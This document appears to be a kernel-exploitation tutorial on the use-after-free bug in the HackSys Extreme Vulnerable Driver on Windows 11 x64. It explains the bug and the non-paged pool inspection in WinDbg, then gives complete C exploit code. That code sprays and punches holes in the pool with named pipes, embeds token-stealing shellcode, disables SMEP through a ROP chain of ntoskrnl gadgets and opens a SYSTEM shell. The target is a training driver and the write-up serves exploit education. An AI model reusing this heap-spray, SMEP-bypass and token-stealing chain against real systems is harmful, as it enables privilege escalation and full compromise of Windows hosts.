Windows Kernel Exploitation - HEVD x64 Use-After-Free
This part will look at a Use-After-Free vulnerability in HEVD on Windows 11 x64.
Vulnerability Discovery
We are going to tackle this based on the source instead of the assembly again. There are 4 functions that are interesting for the UAF vulnerability:
- AllocateUaFObjectNonPagedPool
- FreeUaFObjectNonPagedPool
- AllocateFakeObjectNonPagedPool
- UseUaFObjectNonPagedPool
The general idea is that we allocate an object on the kernel heap (on the non-paged pool, which is an area of memory that can not be paged out) using AllocateUaFObjectNonPagedPool
. Then we call FreeUaFObjectNonPagedPool
which will free the object. If done correctly, there should be no references to the object left in the kernel – this is however not the case here. On allocate, a global variable g_UseAfterFreeObjectNonPagedPool
is set to the address of the object:
1
2
3
4
5
6
7
NTSTATUS AllocateUaFObjectNonPagedPool(VOID) {
...
UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL) ExAllocatePoolWithTag(NonPagedPool, sizeof(USE_AFTER_FREE_NON_PAGED_POOL), (ULONG)POOL_TAG);
...
g_UseAfterFreeObjectNonPagedPool = UseAfterFree;
...
}
Then when the object gets freed, this reference does not get set to NULL, so it is still pointing to the now freed memory.
1
2
3
4
5
NTSTATUS FreeUaFObjectNonPagedPool(VOID){
...
ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
...
}
This in itself would not be a huge issue but this global variable is actually being used by UseUaFObjectNonPagedPool
which is running a method called Callback
on it:
1
2
3
4
5
6
7
NTSTATUS UseUaFObjectNonPagedPool(VOID) {
...
if (g_UseAfterFreeObjectNonPagedPool->Callback) {
g_UseAfterFreeObjectNonPagedPool->Callback();
}
...
}
When the global object has been freed and this function is invoked, we would have undefined behavior. One possibility is that another object of the same size could take its place, and then the driver would attempt to call the Callback
function on the new object instead (which for a random object will likely fail since its memory layout will be completely different). HEVD has a AllocateFakeObjectNonPagedPool
function that conveniently allows us to create a user-controlled object of the same size. There is however the issue of getting it exactly into the spot of the just before freed object – windows randomizes heap allocations so a new allocation could be created anywhere.
Exploitation
Before starting with any exploitation we have to understand where our object is, how big it is and what a replacement object should look like. We also need to find a way to fill the hole with our object which is not straightforward.
We start with some template code that just allocates the object, triggers a breakpoint, and then frees the object again should we let execution continue:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <Windows.h>
#define ALLOCATE_UAF_IOCTL 0x222013
#define FREE_UAF_IOCTL 0x22201B
#define USE_UAF_IOCTL 0x222017
int main() {
DWORD bytesWritten;
HANDLE hDriver = CreateFile(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
exit(1);
}
// Allocate UAF Object
DeviceIoControl(hDriver, ALLOCATE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL);
// Debug
DebugBreak();
// Free UAF Object
DeviceIoControl(hDriver, FREE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL);
return 0;
}
We saw in the allocate function earlier that it allocates the object in the non-paged pool using ExAllocatePoolWithTag
. The tag it uses (here “Hack”) is a way to identify objects in that pool. We can search for all objects tagged this way in the debugger:
1
2
3
4
5
6
7
8
0: kd> !poolused 2 Hack
...
NonPaged Paged
Tag Allocs Used Allocs Used
Hack 1 112 0 0 UNKNOWN pooltag 'Hack', please update pooltag.txt
TOTAL 1 112 0 0
This shows that currently there is exactly one allocation with that tag (the one we just created ourselves). Lets now find the address of that object:
1
2
0: kd> !poolfind Hack -nonpaged
ffffe60269102050 : tag Hack, size 0x60, Nonpaged pool
This works but can take a lot of time. There is an alternative way to let us check the allocations while they happen with ed nt!PoolHitTag 'Hack'
. But for now, we are going to stick with the address we just got with poolfind
. It shows us that the size of the object is 0x60 (+0x10 bytes header), which means that we later need to find some native windows kernel object that has the same size.
1
2
3
4
5
6
7
0: kd> dq ffffe60269102050 L0xC
ffffe602`69102050 fffff800`31117c58 41414141`41414141
ffffe602`69102060 41414141`41414141 41414141`41414141
ffffe602`69102070 41414141`41414141 41414141`41414141
ffffe602`69102080 41414141`41414141 41414141`41414141
ffffe602`69102090 41414141`41414141 41414141`41414141
ffffe602`691020a0 41414141`41414141 00000000`00414141
We can see that this object is mostly filled with “A”s. Only the first value is a function pointer and this is exactly the callback we identified in the introduction section. If we compare that with the object we can see in the source it matches our assumption:
1
2
3
4
typedef struct _USE_AFTER_FREE_NON_PAGED_POOL {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
You might have noticed that the size does not exactly lead to 0x60 when looking at this object (0x54 + 8 = 0x5C). The remaining 4 bytes I assume are padding (we can see they are zero). Now that we know the size we are looking for another kernel object that is suitable for us.
There is some excellent research by Alex Ionescu on Kernel Fengshui which dives into this topic and shows that using CreatePipe
and WritePipe
allows allocating an almost arbitrary size object (> 0x48) in the non-paged pool. Let’s create such an object and try to find it in memory so we can confirm it has indeed the correct size.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void Error(const char* name) {
printf("%s Error: %d\n", name, GetLastError());
exit(-1);
}
typedef struct PipeHandles {
HANDLE read;
HANDLE write;
} PipeHandles;
PipeHandles CreatePipeObject() {
DWORD ALLOC_SIZE = 0x70;
BYTE uBuffer[0x28]; // ALLOC_SIZE - HEADER_SIZE (0x48)
HANDLE readPipe = NULL;
HANDLE writePipe = NULL;
DWORD resultLength;
RtlFillMemory(uBuffer, 0x28, 0x41);
if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
Error("CreatePipe");
}
if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
Error("WriteFile");
}
return PipeHandles{ readPipe, writePipe };
}
After adding the function to create such pipe objects we can now create one in our main function:
1
2
3
4
5
6
7
int main() {
...
PipeHandles pipeHandle = CreatePipeObject();
printf("[>] Handles: 0x%llx, 0x%llx\n", pipeHandle.read, pipeHandle.write);
getchar();
DebugBreak();
}
When we run this, we get the handles to the pipes printed out, allowing us to inspect them:
1
2
C:\Users\xct\Desktop>exploit.exe
[>] Handles: 0xa8, 0xac
1
2
3
4
5
6
7
8
9
10
11
1: kd> !handle 0xa8
PROCESS ffffe6026dceb080
SessionId: 1 Cid: 18c0 Peb: 27c6f1f000 ParentCid: 10e8
DirBase: 1ad85d000 ObjectTable: ffff968b91808b00 HandleCount: 43.
Image: exploit.exe
Handle table at ffff968b91808b00 with 43 entries in use
00a8: Object: ffffe602706bda30 GrantedAccess: 00120189 Entry: ffff968b8f5ff2a0
Object: ffffe602706bda30 Type: (ffffe602696fa7a0) File
ObjectHeader: ffffe602706bda00 (new version)
HandleCount: 1 PointerCount: 32768
We can see that it is a file object, that it’s used by our process, and the address it is at. Let’s inspect the memory further:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1: kd> !address ffffe602706bda30
...
Usage:
Base Address: ffffcb8a`6b5d5000
End Address: fffff780`00000000
Region Size: 00002bf5`94a2b000
VA Type: SystemRange
1: kd> !pool ffffe602706bda30
Pool page ffffe602706bda30 region is Nonpaged pool
ffffe602706bd050 size: 190 previous size: 0 (Allocated) File
ffffe602706bd1e0 size: 190 previous size: 0 (Allocated) File
ffffe602706bd370 size: 190 previous size: 0 (Free) File
ffffe602706bd500 size: 190 previous size: 0 (Allocated) File
ffffe602706bd690 size: 190 previous size: 0 (Allocated) File
ffffe602706bd820 size: 190 previous size: 0 (Allocated) File
*ffffe602706bd9b0 size: 190 previous size: 0 (Allocated) *File
Pooltag File : File objects
ffffe602706bdb40 size: 190 previous size: 0 (Allocated) File
ffffe602706bdcd0 size: 190 previous size: 0 (Allocated) File
ffffe602706bde60 size: 190 previous size: 0 (Allocated) File
We can see here that the object is in the nonpaged pool but its size is 0x190 which is not quite what we are looking for so what is going on? We are not really looking for the file object itself but for the DATA_ENTRY object that is created, which is an undocumented structure. These objects will be allocated with a tag: “NpFr”. Let’s try to find it:
1
2
3
4
5
6
7
8
9
10
11
12
13
1: kd> !poolused 2 NpFr
Using a machine size of 1ffe4d pages to configure the kd cache
..
Sorting by NonPaged Pool Consumed
NonPaged Paged
Tag Allocs Used Allocs Used
NpFr 1 112 0 0 DATA_ENTRY records (read/write buffers) , Binary: npfs.sys
TOTAL 1 112 0 0
1: kd> !poolfind NpFr -nonpaged
...
There is again exactly one, which we just allocated. Finding the exact object in memory turned out to be a bit difficult since poolfind
did not succeed to find it on my end. The general structure of this DATA_ENTRY object looks like this, followed by the actual data:
1
2
3
4
5
6
7
8
typedef struct _NP_DATA_QUEUE_ENTRY {
LIST_ENTRY QueueEntry;
ULONG DataEntryType;
PIRP Irp;
ULONG QuotaInEntry;
PSECURITY_CLIENT_CONTEXT ClientSecurityContext;
ULONG DataSize;
} NP_DATA_QUEUE_ENTRY, *PNP_DATA_QUEUE_ENTRY;
These DATA_ENTRY objects will be placed on the nonpaged pool and we can control their size which solves part of what we are trying to achieve. The next problem we have is that when we trigger the free in the driver and create a “hole” in memory, we can not control what is going to fill that hole – after all the kernel is very busy and could place some other object that fits there. Even if we were faster than the kernel to allocate an object of the correct size, we would still not be guaranteed to fill the spot that we freed since heap allocations on modern windows are randomized.
A way to get around that is to spray the heap with a lot of these holes, surrounded by allocations we control. This gives us a good chance to get our UAF object into one of those. After allocating and freeing the object via the vulnerable driver we allocate a huge amount of fake objects (fake objects being the ones we can create via AllocateFakeObjectNonPagedPool
) to have a good chance to fill the exact hole the UAF object left.
To summarize:
- Allocate a lot of DATA_ENTRY objects (CreatePipe + WriteFile)
- Free every 2nd DATA_ENTRY object to create a lot of holes
- Allocate the UAF object and Free it (this will likely happen in one of the holes we just created)
- Allocate a lot of fake objects to fill every hole (including the one we have to hit to successfully exploit it)
This leads us to the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include <stdio.h>
#include <Windows.h>
#include <vector>
#define QWORD ULONGLONG
#define ALLOCATE_UAF_IOCTL 0x222013
#define FREE_UAF_IOCTL 0x22201B
#define USE_UAF_IOCTL 0x222017
#define FAKE_OBJECT_IOCTL 0x22201F
void Error(const char* name) {
printf("%s Error: %d\n", name, GetLastError());
exit(-1);
}
typedef struct PipeHandles {
HANDLE read;
HANDLE write;
} PipeHandles;
PipeHandles CreatePipeObject() {
DWORD ALLOC_SIZE = 0x70;
BYTE uBuffer[0x28]; // ALLOC_SIZE - HEADER_SIZE (0x48)
BOOL res = FALSE;
HANDLE readPipe = NULL;
HANDLE writePipe = NULL;
DWORD resultLength;
RtlFillMemory(uBuffer, 0x28, 0x41);
if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
Error("CreatePipe");
}
if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
Error("WriteFile");
}
return PipeHandles{ readPipe, writePipe };
}
int main() {
DWORD bytesWritten;
HANDLE hDriver = CreateFile(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
Error("CreateFile");
}
printf("[>] Spraying objects for pool defragmentation..\n");
std::vector<PipeHandles> defragPipeHandles;
for (int i = 0; i < 20000; i++) {
PipeHandles pipeHandle = CreatePipeObject();
defragPipeHandles.push_back(pipeHandle);
}
printf("[>] Spraying objects in sequential allocation..\n");
std::vector<PipeHandles> seqPipeHandles;
for (int i = 0; i < 60000; i++) {
PipeHandles pipeHandle = CreatePipeObject();
seqPipeHandles.push_back(pipeHandle);
}
printf("[>] Creating object holes..\n");
for (int i = 0; i < seqPipeHandles.size(); i++) {
if (i % 2 == 0) {
PipeHandles handles = seqPipeHandles[i];
CloseHandle(handles.read);
CloseHandle(handles.write);
}
}
printf("[>] Allocating UAF Object\n");
if (!DeviceIoControl(hDriver, ALLOCATE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL)) {
//Error("Allocate UAF Object");
}
printf("[>] Freeing UAF Object\n");
if (!DeviceIoControl(hDriver, FREE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL)) {
Error("Free UAF Object");
}
printf("[>] Filling holes with custom objects..\n");
BYTE uBuffer[0x60] = { 0 };
*(QWORD*)(uBuffer) = (QWORD)(0xdeadc0de);
for (int i = 0; i < 30000; i++) {
if (!DeviceIoControl(hDriver, FAKE_OBJECT_IOCTL, uBuffer, sizeof(uBuffer), NULL, 0, &bytesWritten, NULL)) {
Error("Allocate Custom Object");
}
}
printf("[>] Triggering callback on UAF object..\n");
if (!DeviceIoControl(hDriver, USE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL)) {
Error("Use UAF Object");
}
return 0;
}
Running the updated PoC shows that this indeed works and places 0xdeadc0de
in RIP:
1
2
Access violation - code c0000005 (!!! second chance !!!)
00000000`deadc0de ?? ???
At this point exploiting the vulnerability is exactly the same process as in the last post about the type-confusion vulnerability. We pivot the stack to a location we control and make sure it’s paged in. Then we use ROP to disable SMEP & jump to our shellcode. For details about how to do this please refer to the last post – we use exactly the same gadgets & shellcode. The updated PoC looks as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#include <stdio.h>
#include <Windows.h>
#include <vector>
#include <winternl.h>
#include <Psapi.h>
#define QWORD ULONGLONG
#define ALLOCATE_UAF_IOCTL 0x222013
#define FREE_UAF_IOCTL 0x22201B
#define USE_UAF_IOCTL 0x222017
#define FAKE_OBJECT_IOCTL 0x22201F
BYTE sc[256] = {
0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48,
0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x4d,
0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xe8, 0x48,
0x04, 0x00, 0x00, 0x4d, 0x8b, 0x88, 0x40, 0x04, 0x00, 0x00,
0x49, 0x83, 0xf9, 0x04, 0x75, 0xe5, 0x49, 0x8b, 0x88, 0xb8,
0x04, 0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8,
0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01,
0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x66,
0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x48,
0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68,
0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00,
0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xaa,
0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48,
0x0f, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
void Error(const char* name) {
printf("%s Error: %d\n", name, GetLastError());
exit(-1);
}
typedef struct PipeHandles {
HANDLE read;
HANDLE write;
} PipeHandles;
PipeHandles CreatePipeObject() {
DWORD ALLOC_SIZE = 0x70;
BYTE uBuffer[0x28]; // ALLOC_SIZE - HEADER_SIZE (0x48)
BOOL res = FALSE;
HANDLE readPipe = NULL;
HANDLE writePipe = NULL;
DWORD resultLength;
RtlFillMemory(uBuffer, 0x28, 0x41);
if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
Error("CreatePipe");
}
if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
Error("WriteFile");
}
return PipeHandles{ readPipe, writePipe };
}
QWORD getBaseAddr(LPCWSTR drvName) {
LPVOID drivers[512];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
WCHAR szDrivers[512];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++) {
if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
if (wcscmp(szDrivers, drvName) == 0) {
return (QWORD)drivers[i];
}
}
}
}
return 0;
}
int main() {
DWORD bytesWritten;
HANDLE hDriver = CreateFile(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
Error("CreateFile");
}
printf("[>] Spraying objects for pool defragmentation..\n");
std::vector<PipeHandles> defragPipeHandles;
for (int i = 0; i < 20000; i++) {
PipeHandles pipeHandle = CreatePipeObject();
defragPipeHandles.push_back(pipeHandle);
}
printf("[>] Spraying objects in sequential allocation..\n");
std::vector<PipeHandles> seqPipeHandles;
for (int i = 0; i < 60000; i++) {
PipeHandles pipeHandle = CreatePipeObject();
seqPipeHandles.push_back(pipeHandle);
}
printf("[>] Creating object holes..\n");
for (int i = 0; i < seqPipeHandles.size(); i++) {
if (i % 2 == 0) {
PipeHandles handles = seqPipeHandles[i];
CloseHandle(handles.read);
CloseHandle(handles.write);
}
}
printf("[>] Allocating UAF Object\n");
if (!DeviceIoControl(hDriver, ALLOCATE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL)) {
//Error("Allocate UAF Object");
}
printf("[>] Freeing UAF Object\n");
if (!DeviceIoControl(hDriver, FREE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL)) {
Error("Free UAF Object");
}
printf("[>] Filling holes with custom objects..\n");
LPVOID shellcode = VirtualAlloc(NULL, 256, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode, sc, 256);
QWORD ntBase = getBaseAddr(L"ntoskrnl.exe");
QWORD STACK_PIVOT_ADDR = 0x48000000;
QWORD STACK_PIVOT_GADGET = ntBase + 0x317f70; // mov esp, 0x48000000; add esp, 0x28; ret;
QWORD POP_RCX = ntBase + 0x20a386;
QWORD MOV_CR4_RCX = ntBase + 0x3acd47;
int index = 0;
QWORD stackAddr = STACK_PIVOT_ADDR - 0x1000;
LPVOID kernelStack = VirtualAlloc((LPVOID)stackAddr, 0x14000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!VirtualLock(kernelStack, 0x14000)) {
Error("VirtualLock");
}
RtlFillMemory((LPVOID)STACK_PIVOT_ADDR, 0x28, '\x41');
QWORD* rop = (QWORD*)((QWORD)STACK_PIVOT_ADDR + 0x28);
*(rop + index++) = POP_RCX;
*(rop + index++) = 0x350ef8 ^ 1UL << 20;
*(rop + index++) = MOV_CR4_RCX;
*(rop + index++) = (QWORD)shellcode;
BYTE uBuffer[0x60] = { 0 };
*(QWORD*)(uBuffer) = (QWORD)(STACK_PIVOT_GADGET);
for (int i = 0; i < 30000; i++) {
if (!DeviceIoControl(hDriver, FAKE_OBJECT_IOCTL, uBuffer, sizeof(uBuffer), NULL, 0, &bytesWritten, NULL)) {
Error("Allocate Custom Object");
}
}
printf("[>] Triggering callback on UAF object..\n");
if (!DeviceIoControl(hDriver, USE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL)) {
Error("Use UAF Object");
}
system("cmd.exe");
return 0;
}
This gives us a shell as SYSTEM.
Resources
- https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
- https://www.alex-ionescu.com/?p=231
- https://www.crowdstrike.com/blog/sheep-year-kernel-heap-fengshui-spraying-big-kids-pool/
- https://research.nccgroup.com/2020/05/11/cve-2018-8611-exploiting-windows-ktm-part-3-5-triggering-the-race-condition-and-debugging-tricks/
- https://securityinsecurity.github.io/exploiting-hevd-use-after-free/